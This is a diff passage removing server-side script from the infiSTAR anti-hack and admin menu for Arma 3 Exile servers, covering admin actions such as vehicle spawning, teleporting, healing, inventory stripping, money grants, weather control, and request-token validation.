- _bolt = 'LightningBolt' createVehicle _pos;
- _bolt setVariable['BIS_enableRandomization',false];
- _bolt setdamage 5;
- _light = '#lightpoint' createVehicle _pos;
- _light setVariable['BIS_enableRandomization',false];
- _light setposatl [_pos select 0,_pos select 1,(_pos select 2) + 10];
- _light setLightDayLight true;
- _light setLightBrightness 300;
- _light setLightAmbient [0.05, 0.05, 0.1];
- _light setlightcolor [1, 1, 2];
- uiSleep 0.1;
- _light setLightBrightness 0;
- uiSleep 0.1;
- _class = ['lightning1_F','lightning2_F'] call bis_Fnc_selectrandom;
- _lightning = _class createVehicle _pos;
- _lightning setVariable['BIS_enableRandomization',false];
- _light setLightBrightness (100 + random 100);
- uiSleep 0.1;
- deleteVehicle _lightning;
- deleteVehicle _light;
- };
- };
- if(_option isEqualTo -2)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _target setDamage 5;
- };
- if(_option isEqualTo 0)exitWith
- {
- private['_vehicleClass','_position','_dir','_vehicleObject','_target','_pinCode'];
- _vehicleClass = _array select 1;
- "; if((_UVC)&&(_UVC_adminspawn))then{ _A3AHstring = _A3AHstring + "
- _return = _vehicleClass call "+_fnc_check_type_allowed+";
- if(!_return)exitWith{
- [
- format['<infiSTAR.de> NOT ALLOWED TO SPAWN [%1]',_vehicleClass],
- {systemChat _this},
- _clientID,
- false
- ] call FN_infiSTAR_S;
- };
- "; }; _A3AHstring = _A3AHstring + "
- _position = _array select 2;
- _dir = _array select 3;
- _target = objectFromnetId (_array select 4);if(isNull _target)then{_target = _ObjFromnetId;};
- _persistent = _array select 5;
- _vehicleObject = _vehicleClass createVehicle _position;
- _vehicleObject allowDamage false;
- _vehicleObject removeAllEventHandlers 'HandleDamage';
- _vehicleObject addEventHandler['HandleDamage', {false}];
- _vehicleObject setDir _dir;
- _vehicleObject setVelocity [0,0,0];
- _vehicleObject allowDamage true;
- _vehicleObject removeAllEventHandlers 'HandleDamage';
- _vehicleObject setDamage 0;
- clearBackpackCargoGlobal _vehicleObject;
- clearItemCargoGlobal _vehicleObject;
- clearMagazineCargoGlobal _vehicleObject;
- clearWeaponCargoGlobal _vehicleObject;
- if(_vehicleClassName isKindOf 'I_UGV_01_F')then
- {
- createVehicleCrew _vehicleObject;
- };
- if(getNumber (configFile >> 'CfgSettings' >> 'VehicleSpawn' >> 'nightVision') isEqualTo 0)then
- {
- _vehicleObject disableNVGEquipment true;
- };
- if(getNumber (configFile >> 'CfgSettings' >> 'VehicleSpawn' >> 'thermalVision') isEqualTo 0)then
- {
- _vehicleObject disableTIEquipment true;
- };
- if(_persistent)then
- {
- _pinCode = _array select 6;
- if(_pinCode isEqualTo '')then
- {
- _fn_getOldPincode = {
- {
- _tmppinCode = _x getVariable ['ExileAccessCode',''];
- if(!(_tmppinCode isEqualTo '')&&(_x getVariable['ExileOwnerUID',''] isEqualTo _clientUID))exitWith{_pinCode = _tmppinCode;};
- } forEach _this;
- };
- (entities 'LandVehicle') call _fn_getOldPincode;
- if(_pinCode isEqualTo '')then{(entities 'Air') call _fn_getOldPincode;};
- if(_pinCode isEqualTo '')then{(entities 'Ship') call _fn_getOldPincode;};
- if(_pinCode isEqualTo '')then{for '_i' from 0 to 3 do {_pinCode = _pinCode + str(floor(random 10));};};
- };
- _vehicleObject setVariable ['ExileIsPersistent', true];
- _vehicleObject setVariable ['ExileAccessCode', _pinCode];
- _vehicleObject addEventHandler ['GetOut', {_this call ExileServer_object_vehicle_event_onGetOut}];
- }
- else
- {
- _vehicleObject setVariable ['ExileIsPersistent', false];
- };
- _vehicleObject setFuel 1;
- _vehicleObject addEventHandler ['GetIn', {_this call ExileServer_object_vehicle_event_onGetIn}];
- _vehicleObject addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; _this call ExileServer_object_vehicle_event_onMPKilled;}];
- _vehicleObject call ExileServer_system_simulationMonitor_addVehicle;
- _vehicleObject setVariable['ExileOwnerUID',_clientUID];
- if(_persistent)then
- {
- _vehicleObject call ExileServer_object_vehicle_database_insert;
- _vehicleObject call ExileServer_object_vehicle_database_update;
- _input = [
- [_vehicleClass,_pinCode,netId _vehicleObject],
- {
- systemChat format['CODE FOR %1 is %2',_this select 0,_this select 1];
- (objectFromnetId (_this select 2)) setVariable ['ExileAlreadyKnownCode',(_this select 1)];
- },
- (owner _target),
- false
- ] call FN_infiSTAR_S;
- if!(_target isEqualTo _ObjFromnetId)then{_input set[2,owner _ObjFromnetId];_input call FN_infiSTAR_S;};
- };
- _vehicleObject setVariable ['ExileIsLocked', 0];
- _vehicleObject lock 0;
- _vehicleObject enableRopeAttach true;
- "; if((_UVC)&&(!_UVC_adminspawn))then{ _A3AHstring = _A3AHstring + "
- _vehicleObject setVariable['"+_vehicle_needs_check+"',false];
- "; }; _A3AHstring = _A3AHstring + "
- };
- if(_option isEqualTo 1)exitWith
- {
- _unitNetId = _array select 1;
- _pos = _array select 2;
- _unit = objectFromnetId _unitNetId;
- _isOnFoot = isNull objectParent _unit;
- _veh = vehicle _unit;
- _lastpos = getPos _unit;
- _name = _unit getVariable['ExileNameOnChar',if(alive _unit)then{name _unit}else{''}];
- _uid = getPlayerUID _unit;
- if(_isOnFoot)then
- {
- [[_unit,_pos],fnc_do_adminTP,_unit,false] call FN_infiSTAR_S;
- }
- else
- {
- _driver = driver _veh;
- if(isPlayer _driver)then
- {
- _name = _driver getVariable['ExileNameOnChar',if(alive _driver)then{name _driver}else{''}];
- _uid = getPlayerUID _driver;
- [[_driver,_pos],fnc_do_adminTP,_driver,false] call FN_infiSTAR_S;
- }
- else
- {
- _veh setOwner 2;
- _veh setVelocity [0,0,0];
- _veh setVectorUp [0,0,1];
- _veh setPosATL _pos;
- };
- };
- if!(_clientUID in _ld)then
- {
- _mapLP = mapGridPosition _lastpos;
- _mapCP = mapGridPosition _pos;
- _log = format[
- '%1(%2) | Teleported %3(%4) from %5(%6) to %7(%8) (%9m)',
- _clientName,
- _clientUID,
- _name,
- _uid,
- _lastpos,
- _mapLP,
- _pos,
- _mapCP,
- round(_lastpos distance2D _pos)
- ];
- ['ADMINLOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
- "+_AH_AdmiLogArrayRND+" pushBack _log;
- '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- if(_option isEqualTo 2)exitWith
- {
- _state = _array select 1;
- _ObjFromnetId hideObjectGlobal _state;
- };
- if(_option isEqualTo 3)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _pos = _array select 2;
- _itemClassName = _array select 3;
- _lootHolder = objNull;
- _wpnh = nearestObjects [_target, ['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], 3];
- if!(_wpnh isEqualTo [])then{_lootHolder = _wpnh select 0;};
- if(isNull _lootHolder)then
- {
- _lootHolder = createVehicle ['GroundWeaponHolder',_pos,[],3,'CAN_COLLIDE'];
- _lootHolder setPosATL _pos;
- _lootHolder setVariable['BIS_enableRandomization',false];
- };
- if(getText(configfile >> 'CfgVehicles' >> _itemClassName >> 'vehicleClass') == 'BackPacks')exitWith
- {
- _lootHolder addBackpackCargoGlobal [_itemClassName,1];
- };
- _lootHolder addItemCargoGlobal [_itemClassName,1];
- if(isClass (configFile >> 'CfgWeapons' >> _itemClassName))then
- {
- _magazines = getArray (configFile >> 'CfgWeapons' >> _itemClassName >> 'magazines');
- if(str _magazines != '[]')then
- {
- {_lootHolder addItemCargoGlobal [_x,3];} forEach _magazines;
- };
- };
- };
- if(_option isEqualTo 4)exitWith
- {
- _texture = _array select 1;
- _textureid = _array select 2;
- _dir = _array select 3;
- _location = _array select 4;
- _board = createVehicle ['Exile_Sign_TraderCity', _location, [], 0, 'CAN_COLLIDE'];
- _board setObjectTextureGlobal[0,_texture];
- _board setDir _dir;
- _board addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
- _board setVariable ['ExileOwnerUID',_clientUID];
- _board setVariable ['ExileAccessCode',_textureid+1];
- _board call ExileServer_object_vehicle_database_insert;
- _board = createVehicle ['Exile_Sign_TraderCity', _location, [], 0, 'CAN_COLLIDE'];
- _board setObjectTextureGlobal[0,_texture];
- _board setDir (_dir+180);
- _board addMPEventHandler ['MPKilled', { if !(isServer) exitWith {}; (_this select 0) call fnc_remove_billboard;}];
- _board setVariable ['ExileOwnerUID',_clientUID];
- _board setVariable ['ExileAccessCode',_textureid+1];
- _board call ExileServer_object_vehicle_database_insert;
- };
- if(_option isEqualTo 5)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _offset = _array select 2;
- _maxHeight = _array select 3;
- _target attachTo [vehicle _ObjFromnetId,[0,_offset,_maxHeight]];
- };
- if(_option isEqualTo 7)exitWith
- {
- _msg = _array select 1;
- if(typename _msg == 'ARRAY')then{_msg = toString _msg;};
- [_msg,-2] call fnc_serverMassMessage;
- };
- if(_option isEqualTo 8)exitWith
- {
- _msg = _array select 1;
- if(typename _msg == 'ARRAY')then{_msg = toString _msg;};
- [_msg,{systemChat format['<infiSTAR.de> %1',_this];},-2,false] call FN_infiSTAR_S;
- };
- if(_option isEqualTo 9)exitWith
- {
- _target = objectFromnetId (_array select 1);
- if(isNil'_target')exitWith{};
- if(isNull _target)exitWith{};
- _target setDamage 0;
- if((_target isKindOf 'LandVehicle')||(_target isKindOf 'Ship')||(_target isKindOf 'Air'))then
- {
- if(local _target)then
- {
- [_target,9999] call ExileClient_util_fuel_setFuel;
- }
- else
- {
- ['setFuelRequest',[netId _target,9999]] call ExileClient_system_network_send;
- };
- _target setFuel 1;
- };
- if((getPlayerUID _target != '')&&(_target isKindOf 'Man'))then
- {
- _ownertarget = owner _target;
- if(_ownertarget > 2)then
- {
- _target setBleedingRemaining 0;
- _target setOxygenRemaining 1;
- _target setFatigue 0;
- _code = {
- ExileClientPlayerAttributes = [100,100,100,100,0,37,0];
- ExileClientPlayerAttributesASecondAgo = ExileClientPlayerAttributes;
- ExileClientPlayerLastHpRegenerationAt = diag_tickTime;
- ExileClientPlayerIsOverburdened = false;
- ExileClientPlayerOxygen = 100;
- ExileClientPlayerIsAbleToBreathe = true;
- ExileClientPlayerIsDrowning = false;
- ExileClientPlayerIsInjured = false;
- ExileClientPlayerIsBurning = false;
- ExileClientPlayerIsBleeding = false;
- ExileClientPlayerIsExhausted = false;
- ExileClientPlayerIsHungry = false;
- ExileClientPlayerIsThirsty = false;
- player setBleedingRemaining 0;
- player setOxygenRemaining 1;
- player setFatigue 0;
- if(!isNil'ExileClientBleedOutThread')then
- {
- if !(ExileClientBleedOutThread isEqualTo -1) then
- {
- [ExileClientBleedOutThread] call ExileClient_system_thread_removeTask;
- ExileClientBleedOutThread = -1;
- };
- };
- ExileClientPostProcessingColorCorrections ppEffectAdjust [1, 1, 0, [0, 0, 0, 0], [0.39, 0.32, 0.25, 1], [0.5,0.5,0.5,0], [0,0,0,0,0,0,4]];
- ExileClientPostProcessingColorCorrections ppEffectCommit 0;
- ExileClientPostProcessingBackgroundBlur ppEffectEnable false;
- ExileClientPostProcessingBackgroundBlur ppEffectAdjust [0];
- ExileClientPostProcessingBackgroundBlur ppEffectCommit 0;
- ExileClientPostProcessingDelirium ppEffectAdjust [2, 0.1, 0.1, 0.2, 0.2, 2, 2, 0.01, 0.01, 0.01, 0.01, 0.01, 0.1, 2, 2];
- ExileClientPostProcessingDelirium ppEffectCommit 0;
- ExileClientPostProcessingDelirium ppEffectEnable false;
- if(!isNil'ExileRadiationThreadHandle')then
- {
- [] call ExileClient_system_radiation_event_onPlayerDied;
- ExilePlayerRadiation = 0;
- ExilePlayerRadiationLastCheck = 0;
- [] call ExileClient_system_radiation_event_onPlayerSpawned;
- };
- true
- };
- ['',_code,_ownertarget,false] call FN_infiSTAR_S;
- };
- };
- };
- if(_option isEqualTo 10)exitWith
- {
- _netId = _array select 1;
- _object = objectFromnetId _netId;
- _object = vehicle _object;
- if((_object isKindOf 'LandVehicle') || (_object isKindOf 'Air') || (_object isKindOf 'Ship') || (_object isKindOf 'Static'))then
- {
- _type = typeOf _object;
- _locked = locked _object;
- if(_locked isEqualTo 2)then
- {
- if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileIsLockable'))then
- {
- _object setVariable ['ExileIsLocked',0,true];
- }
- else
- {
- if(local _object)then
- {
- _object lock 0;
- }
- else
- {
- [owner _object,'LockVehicleRequest',[_netId,false]] call ExileServer_system_network_send_to;
- };
- _object setVariable ['ExileIsLocked',0];
- };
- _object enableRopeAttach true;
- }
- else
- {
- if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileIsLockable'))then
- {
- _object setVariable ['ExileIsLocked',-1,true];
- }
- else
- {
- if(local _object)then
- {
- _object lock 2;
- }
- else
- {
- [owner _object,'LockVehicleRequest',[_netId,true]] call ExileServer_system_network_send_to;
- };
- _object setVariable ['ExileIsLocked',-1];
- };
- _object enableRopeAttach false;
- };
- _object setVariable ['ExileLastLockToggleAt', time];
- _object setVariable ['ExileAccessDenied', false];
- _object setVariable ['ExileAccessDeniedExpiresAt', 0];
- _object call ExileServer_system_vehicleSaveQueue_addVehicle;
- };
- };
- if(_option isEqualTo 11)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _code = {
- _inventoryP = [];
- {_inventoryP pushBack _x;} forEach (assignedItems player);
- {_inventoryP pushBack _x;} forEach (magazines player);
- {_inventoryP pushBack _x;} forEach (weapons player);
- {_inventoryP pushBack _x;} forEach (primaryWeaponItems player);
- {_inventoryP pushBack _x;} forEach (secondaryWeaponItems player);
- _inventoryP pushBack (primaryWeapon player);
- _inventoryP pushBack (secondaryWeapon player);
- _inventoryP pushBack (uniform player);
- _inventoryP pushBack (vest player);
- _inventoryP pushBack (backpack player);
- _inventoryP pushBack (headgear player);
- _inventoryP pushBack (goggles player);
- {
- player removeItem _x;
- player removeWeapon _x;
- player removeMagazine _x;
- removeUniform player;
- removeVest player;
- removeBackpack player;
- removeHeadgear player;
- removeGoggles player;
- player removePrimaryWeaponItem _x;
- player removeSecondaryWeaponItem _x;
- player unlinkItem _x;
- } forEach _inventoryP;
- };
- ['',_code,(owner _target),false] call FN_infiSTAR_S;
- };
- if(_option isEqualTo 12001)exitWith
- {
- _player = objectFromnetId (_array select 1);
- _amount = _array select 2;
- _playerMoney = _player getVariable ['ExileMoney', 0];
- _playerMoney = _playerMoney + _amount;
- _player setVariable ['ExileMoney', _playerMoney, true];
- format['setPlayerMoney:%1:%2', _playerMoney, _player getVariable ['ExileDatabaseID', 0]] call ExileServer_system_database_query_fireAndForget;
- };
- if(_option isEqualTo 12002)exitWith
- {
- _player = objectFromnetId (_array select 1);
- _amount = _array select 2;
- _playerMoney = _player getVariable ['ExileLocker', 0];
- _playerMoney = _playerMoney + _amount;
- _player setVariable ['ExileLocker', _playerMoney, true];
- format['updateLocker:%1:%2', _playerMoney, (getPlayerUID _player)] call ExileServer_system_database_query_fireAndForget;
- };
- if(_option isEqualTo 12003)exitWith
- {
- _player = objectFromnetId (_array select 1);
- _amount = _array select 2;
- _playerRespect = _player getVariable ['ExileScore', 0];
- _playerRespect = _playerRespect + _amount;
- _player setVariable ['ExileScore', _playerRespect, true];
- [_playerRespect,{ExileClientPlayerScore = _this;},(owner _player),false] call FN_infiSTAR_S;
- format['setAccountScore:%1:%2', _playerRespect, (getPlayerUID _player)] call ExileServer_system_database_query_fireAndForget;
- };
- if(_option isEqualTo 13)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _value = _array select 2;
- _targetUID = getPlayerUID _target;
- if(_targetUID in _ld)then
- {
- ['ERROR',{systemChat _this;_this call FN_SHOW_LOG;},_clientID,false] call FN_infiSTAR_S;
- }
- else
- {
- [_value,{ if!(userInputDisabled isEqualTo _this)then{disableUserInput _this;}; },(owner _target),false] call FN_infiSTAR_S;
- };
- };
- if(_option isEqualTo 14)exitWith
- {
- _obj = objectFromnetId (_array select 1);
- if(!isNull _obj)then
- {
- _pincode = _obj getVariable['ExileAccessCode',''];
- _owneruid = _obj getVariable ['ExileOwnerUID', ''];
- if(_owneruid isEqualTo '')then
- {
- _owneruid = missionNameSpace getVariable[format['UID_BY_OWNER_%1',owner _obj],''];
- };
- _ownername = missionNameSpace getVariable[format['NAME_BY_UID_%1',_owneruid],''];
- [_obj,_pincode,_ownername,_owneruid] remoteExecCall ['admin_showinfo_catch',_clientID,false];
- };
- };
- if(_option isEqualTo 15)exitWith
- {
- _victimnetId = _array select 1;
- _hostageTakernetId = _array select 2;
- _value = _array select 3;
- if(_value)then
- {
- try {
- _victim = objectFromnetId _victimnetId;
- _hostageTaker = objectFromnetId _hostageTakernetId;
- if (isNull _hostageTaker) then
- {
- throw 'Unknown player cannot handcuff someone!';
- };
- if !(alive _hostageTaker) then
- {
- throw 'The dead cannot handcuff others!';
- };
- if (isNull _victim) then
- {
- throw 'Cannot handcuff unknown victim!';
- };
- if !(isPlayer _victim) then
- {
- throw 'Cannot handcuff bots!';
- };
- if !(_victim isKindOf 'Exile_Unit_Player') then
- {
- throw 'Can only handcuff players!';
- };
- if !(alive _victim) then
- {
- throw 'Dead people cannot be handcuffed!';
- };
- if (_victim getVariable['ExileIsHandcuffed', false]) then
- {
- throw 'Cannot double handcuff someone!';
- };
- moveOut _victim;
- _victim action ['eject', (vehicle _victim)];
- _victim setVariable['ExileIsHandcuffed', true, true];
- _victim setVariable['ExileHostageTakernetId', netId _hostageTaker];
- _victim setVariable['ExileHostageTakerUID', getPlayerUID _hostageTaker];
- ['switchMoveRequest', [_victimnetId, 'Acts_AidlPsitMstpSsurWnonDnon_loop']] call ExileServer_system_network_send_broadcast;
- [_victim, 'handcuffRequest', [netId _hostageTaker]] call ExileServer_system_network_send_to;
- }
- catch {
- diag_log format['<infiSTAR.de> Restrain exception: %1',_exception];
- };
- }
- else
- {
- try {
- _victim = objectFromnetId _victimnetId;
- if (isNull _victim) then
- {
- throw 'Cannot free unknown victim!';
- };
- if !(_victim getVariable['ExileIsHandcuffed', false]) then
- {
- throw 'Cannot free not-handcuffed ones!';
- };
- ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_out']] call ExileServer_system_network_send_broadcast;
- _victim setVariable['ExileIsHandcuffed', false, true];
- _victim setVariable['ExileHostageTakernetId', nil];
- _victim setVariable['ExileHostageTakerUID', nil];
- [
- '',
- {
- ExileClientIsHandcuffed = false;
- ExileClientHostageTaker = objNull;
- if !(ExileClientBreakFreeActionHandle isEqualTo -1) then
- {
- player removeAction ExileClientBreakFreeActionHandle;
- ExileClientBreakFreeActionHandle = -1;
- };
- },
- owner _victim,
- false
- ] call FN_infiSTAR_S;
- }
- catch {
- diag_log format['<infiSTAR.de> UnRestrain exception: %1',_exception];
- };
- };
- };
- if(_option isEqualTo 16)exitWith
- {
- _somethingChanged = false;
- _FOG_VALUE = _array select 1;
- if(_FOG_VALUE != fog)then
- {
- 0 setFog _FOG_VALUE;
- };
- _OVERCAST_VALUE = _array select 2;
- if(_OVERCAST_VALUE != overcast)then
- {
- 0 setOvercast _OVERCAST_VALUE;
- _somethingChanged = true;
- };
- _RAIN_VALUE = _array select 3;
- if(_RAIN_VALUE != rain)then
- {
- 0 setRain _RAIN_VALUE;
- _somethingChanged = true;
- };
- if(_somethingChanged)then{
- simulWeatherSync;
- forceWeatherChange;
- };
- };
- if(_option isEqualTo 17)exitWith
- {
- _hour = _array select 1;
- _date = date;
- _date set [3,_hour];
- setDate _date;
- };
- if(_option isEqualTo 18)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _value = _array select 2;
- [_value,{ if(_value)then{player setUnconscious _value;}else{player setUnconscious _value;player switchMove '';}; },(owner _target),false] call FN_infiSTAR_S;
- };
- if(_option isEqualTo 19)exitWith
- {
- _target = objectFromnetId (_array select 1);
- if(isNull _target)exitWith{};
- _targetID = owner _target;
- if(_targetID < 3)exitWith{};
- _revive = _target getVariable ['revive',-1];
- if!(_revive isEqualTo -1)exitWith
- {
- [
- format['<infiSTAR.de> REVIVE ERROR: Target %1 already getting revived. Started %2 seconds ago..!',_target,time - _revive],
- {systemChat _this},
- _clientID,
- false
- ] call FN_infiSTAR_S;
- };
- _target setVariable ['revive',time];
- [_target,_targetID] spawn fnc_exile_revive_server;
- };
- if(_option isEqualTo 20)exitWith
- {
- _obj = objectFromnetId(_array select 1);
- _pos = _array select 2;
- if(!isNull _obj)then{_obj setPos _pos;};
- };
- if(_option isEqualTo 5000)exitWith
- {
- private['_arrayforcrate'];
- _target = objectFromnetId (_array select 1);
- _selected = _array select 2;
- if(isNil'_target')exitWith{};
- if(!isPlayer _target)exitWith{};
- _targetUID = getPlayerUID _target;
- _targetID = owner _target;
- if(isNil'_targetUID')exitWith{};
- if(_targetUID == '')exitWith{};
- _pos = _target modelToWorld [0,3,1];
- _posATL = getPosATL _target;
- _dir = (getDir _target) + 180;
- _allSupportBoxes = "+str _allSupportBoxes+";
- _boxarray = _allSupportBoxes select _selected;
- if(isNil'_boxarray')exitWith{};
- _boxname = _boxarray select 0;
- _arrayforcrate = _boxarray select 1;
- if(isNil'_arrayforcrate')exitWith{};
- if(_arrayforcrate isEqualTo [])exitWith{};
- _box = 'Exile_Container_SupplyBox' createVehicle _pos;
- _box setVelocity [0,0,0];
- _box setVectorUp [0,0,1];
- clearBackpackCargoGlobal _box;
- clearItemCargoGlobal _box;
- clearMagazineCargoGlobal _box;
- clearWeaponCargoGlobal _box;
- {
- if(typename _x == 'ARRAY')then
- {
- _item = _x select 0;
- _BackPack = getText (configfile >> 'CfgVehicles' >> _item >> 'vehicleClass') == 'BackPacks';
- if(_BackPack)then
- {
- _box addBackpackCargoGlobal [_item,_x select 1];
- }
- else
- {
- _box addItemCargoGlobal [_item,_x select 1];
- };
- }
- else
- {
- _item = _x;
- _BackPack = getText (configfile >> 'CfgVehicles' >> _item >> 'vehicleClass') == 'BackPacks';
- if(_BackPack)then
- {
- _box addBackpackCargoGlobal [_item,1];
- }
- else
- {
- _box addItemCargoGlobal [_item,1];
- };
- };
- } forEach _arrayforcrate;
- _box setOwner _targetID;
- _txt = format['%1 created for %2(%3)!',_boxname,name _target,_targetUID];
- if!(_clientID isEqualTo _targetID)then
- {
- [_txt,{systemChat _this;cutText [_this, 'PLAIN'];},_targetID,false] call FN_infiSTAR_S;
- };
- };
- if(_option isEqualTo 9876)exitWith
- {
- _puid = _array select 1;
- _name = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_puid],''];
- _steamName = [_name,_puid,_clientID] call fnc_resolveSteamName;
- if(_steamName != '')then
- {
- _code = {
- params['_name','_uid',['_steamname','']];
- _log = format['<infiSTAR.de> %1(%2) SteamName is: %3',_name,_uid,_steamname];
- format['%1 -> %2',_name,_steamname] call FN_SHOW_LOG;
- systemchat _log;
- diag_log _log;
- };
- [[_name,_puid,_steamname],_code,_clientID,false] call FN_infiSTAR_S;
- ['STEAM_NAME_LOG',format['%1(%2) is %3',_name,_puid,_steamname]] call FNC_A3_RL;
- };
- };
- };
- "+_fnc_AdminReqReal+" = compileFinal ([_fnc_AdminReqReal] call fnc_CompilableString);
- ";
- diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: added !',time];
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: adding to main string..',time];
- _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: still compiling...',time];
- _fnc_server_handle_pre_mpmessage =
- {
- private['_admins','_ObjFromnetId','_serverUID','_clientName','_clientID','_option'];
- params[['_tokenreceived',''],['_clientUID',''],['_clientnetId','0:0'],['_array',[]]];
- if(typename _tokenreceived != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 1: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_tokenreceived isEqualTo '')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 2: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _clientUID != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 3: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_clientUID in ['',' ','0'])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 4: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _clientnetId != 'STRING')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 5: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_clientnetId in ['','0:0'])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 6: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _array != 'ARRAY')exitWith{_log = format['AH_KICKLOGSPAWN ERROR 7: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_array isEqualTo [])exitWith{_log = format['AH_KICKLOGSPAWN ERROR 8: %1',_this];['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;};
- _serverUID = missionNameSpace getVariable[format['"+_uid_by_token+"%1',_tokenreceived],''];
- _clientName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_serverUID],''];
- if(_serverUID isEqualTo '')then
- {
- _log = format['AH_KICKLOGSPAWN - SERVER UID WRONG! clientUID: %1 - serverUID: %2',_clientName,_clientUID,_serverUID];
- [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _clientID = _serverUID call FNC_OWNER_BY_UID;
- if!(_serverUID isEqualTo _clientUID)then
- {
- _log = format['AH_KICKLOGSPAWN - SERVER RESOLVED UID! clientUID: %1 - serverUID: %2',_clientUID,_serverUID];
- [_clientName,_serverUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- _clientUID = _serverUID;
- };
- _ObjFromnetId = objectFromnetId _clientnetId;
- if(isNil '_ObjFromnetId')exitWith
- {
- _log = 'AH_KICKLOGSPAWN playerObj is Nil';
- ['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;
- };
- if(typename _ObjFromnetId != 'OBJECT')exitWith
- {
- _log = format['AH_KICKLOGSPAWN ObjFromnetId wrong typename: %1 %2',typename _ObjFromnetId,_ObjFromnetId];
- ['SURVEILLANCELOG',_log] call FNC_A3_CUSTOMLOG;
- };
- if(isNull _ObjFromnetId)then
- {
- _ObjFromnetId = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_clientUID],objNull];
- }
- else
- {
- missionNameSpace setVariable[format['"+_object_by_uid+"%1',_clientUID],_ObjFromnetId];
- missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_clientUID],_ObjFromnetId];
- };
- _array set [0,_clientName];
- _array set [1,_clientUID];
- _array call "+_fnc_server_handle_mpmessage+";
- };
- "+_fnc_server_handle_pre_mpmessage+" = compileFinal ([_fnc_server_handle_pre_mpmessage] call fnc_CompilableString);
- ";
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_pre_mpmessage: added !',time];
- diag_log format['<infiSTAR.de> %1 - adminStartupCode: adding to main string..',time];
- _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> %1 - adminStartupCode: still compiling...',time];
- _adminStartupCode = {
- GET_TIME_TIME = {
- _hours = floor(time / 60 / 60);
- _minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);
- _seconds = time - (_hours*60*60) - (_minutes * 60);
- format['%1h %2min %3s',_hours,_minutes,round _seconds]
- };
- _log = format['<infiSTAR.de> %1 - waiting for client to be ready..',call GET_TIME_TIME];systemchat _log;diag_log _log;
- waitUntil {!isNull findDisplay 46 && !isNil 'ExileClientLoadedIn' && getPlayerUID player != ''};
- uiSleep 1;
- "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "_log = format['<infiSTAR.de> %1 - client ready.',call GET_TIME_TIME];systemchat _log;diag_log _log;"; }; _A3AHstring = _A3AHstring + "
- _admins = "+str _admins+";
- _tokenFromServer = _this select 0;
- _name = _this select 1;
- _puid = _this select 2;
- _adminsA = _this select 3;
- infiSTAR_Ds = _this select 4;
- infiSTAR_ADMINS = _adminsA;
- if(!isNil'fnc_AdminReq')exitWith{
- diag_log format['<infiSTAR.de> fnc_AdminReq already existing! %1 (kicked to lobby)',fnc_AdminReq];
- (findDisplay 46) closeDisplay 0;
- };
- ['fnc_AdminReq',_this select 5] call FN_infiSTAR_F;
- "; if(_LogAdminActions)then{ _A3AHstring = _A3AHstring + "
- if(_puid in (_this select 4))then{['fnc_adminLog',''] call FN_infiSTAR_F;}else{['fnc_adminLog','[1234,toArray _this] call fnc_AdminReq;'] call FN_infiSTAR_F;};
- "; }else{ _A3AHstring = _A3AHstring + "
- if(isNil 'fnc_adminLog')then{['fnc_adminLog',''] call FN_infiSTAR_F;};
- "; }; _A3AHstring = _A3AHstring + "
- _MY_PERSONAL_ACCESS_ARRAY = [];
- if(_puid in _adminsA)then
- {
- INFISTARVERSION='05-Jul-2016 23-52-40 - v0054';
- OPEN_ADMIN_MENU_KEY = "+str _OPEN_ADMIN_MENU_KEY+";
- passwordAdmin = "+str _passwordAdmin+";
- diag_log format['<infiSTAR.de> OPEN_ADMIN_MENU_KEY: %1',OPEN_ADMIN_MENU_KEY];
- _adminUIDandAccess = "+str _adminUIDandAccess+";
- if(!isNil'_adminUIDandAccess')then
- {
